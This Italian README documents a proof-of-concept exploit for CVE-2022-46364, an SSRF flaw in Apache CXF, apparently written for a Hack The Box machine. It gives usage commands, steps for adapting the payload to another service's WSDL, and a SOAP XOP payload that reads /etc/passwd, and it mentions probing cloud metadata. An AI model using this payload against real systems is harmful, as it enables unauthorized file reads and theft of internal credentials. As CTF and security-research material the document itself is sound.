
Exploit proof-of-concept per CVE-2022-46364, una vulnerabilità SSRF di Apache CXF che consente la lettura arbitraria di file e il sondaggio della rete interna tramite richieste SOAP MTOM/XOP appositamente formulate.
Exploit proof-of-concept per CVE-2022-46364 — una vulnerabilità di server-side request forgery (SSRF) in Apache CXF nell'elaborazione delle richieste MTOM/XOP.
CVE-2022-46364 riguarda le versioni di Apache CXF precedenti a 3.4.10 e 3.5.5. Quando MTOM (Message Transmission Optimization Mechanism) è abilitato su un servizio SOAP, l'unmarshaller di CXF valida in modo errato l'attributo href all'interno degli elementi <xop:Include>. Invece di limitare href agli URI cid: (come richiesto dalla specifica XOP del W3C), CXF risolve URI arbitrari — inclusi file://, http:// e https://.
Ciò consente a un attaccante non autenticato di:
file:///etc/passwd)http://169.254.169.254/)Questo PoC è stato scritto e testato contro la macchina Hack The Box:
Endpoint bersaglio: http://devarea.htb:8080/employeeservice
Tuttavia, piccole modifiche al payload XML in base al WSDL del target lo rendono adattabile all'ambiente di destinazione.
L'URL predefinito è http://devarea.htb:8080/employeeservice.
python3 CVE-2022-46364.py --file /etc/passwd
python3 CVE-2022-46364.py --url http://target:8080/employeeservice --file /etc/passwd
python3 CVE-2022-46364.py --file /etc/passwd --verbose
Importante: Questo script è hardcoded per la struttura WSDL di HTB DevArea. Per usarlo contro un altro servizio Apache CXF vulnerabile, è necessario modificare il payload SOAP all'interno di
build_payload()per adattarlo al contratto WSDL del target.
Recupera il WSDL dal target:
curl http://target:8080/employeeservice?wsdl
Identifica i dettagli del servizio:
targetNamespace (es. http://devarea.htb/)submitReport)<arg0> con <content> annidato)Modifica il payload in build_payload():
xmlns:dev="...")<dev:submitReport>)<arg0>)<xop:Include href="file://{filepath}"/> all'interno di un campo che il server elaborerà come allegatoConsiderando questo frammento WSDL:
<wsdl:definitions targetNamespace="http://example.com/">
<wsdl:operation name="uploadDocument">
<wsdl:input message="tns:uploadDocument"/>
</wsdl:operation>
</wsdl:definitions>
Il tuo payload dovrebbe diventare:
<soapenv:Envelope xmlns:soapenv="..." xmlns:ex="http://example.com/" xmlns:xop="...">
<soapenv:Body>
<ex:uploadDocument>
<document>
<xop:Include href="file:///etc/passwd"/>
</document>
</ex:uploadDocument>
</soapenv:Body>
</soapenv:Envelope>
multipart/related con Content-Type: application/xop+xml.<xop:Include href="file:///etc/passwd"/>.file://.<return>.Content: e la decodifica.Questo strumento è destinato esclusivamente a test di sicurezza autorizzati e scopi educativi. Ottieni sempre il permesso esplicito prima di testare sistemi che non possiedi. L'autore non è responsabile per qualsiasi uso improprio o danno causato da questo script.
Licenza MIT — sentiti libero di usare, modificare e condividere con la giusta attribuzione.
Aggiorna --url quando esegui lo script.
| Risorsa | Collegamento |
|---|
| Advisory Apache CXF | CVE-2022-46364 |
| Voce NVD | NVD — CVE-2022-46364 |
| Apache Jira (CXF-8706) | CXF-8706 |
| Specifica W3C XOP | XML-binary Optimized Packaging |
| Analisi approfondita Penligent | CVE-2022-46364 PoC in Practice |
| HTB DevArea | Hack The Box — DevArea |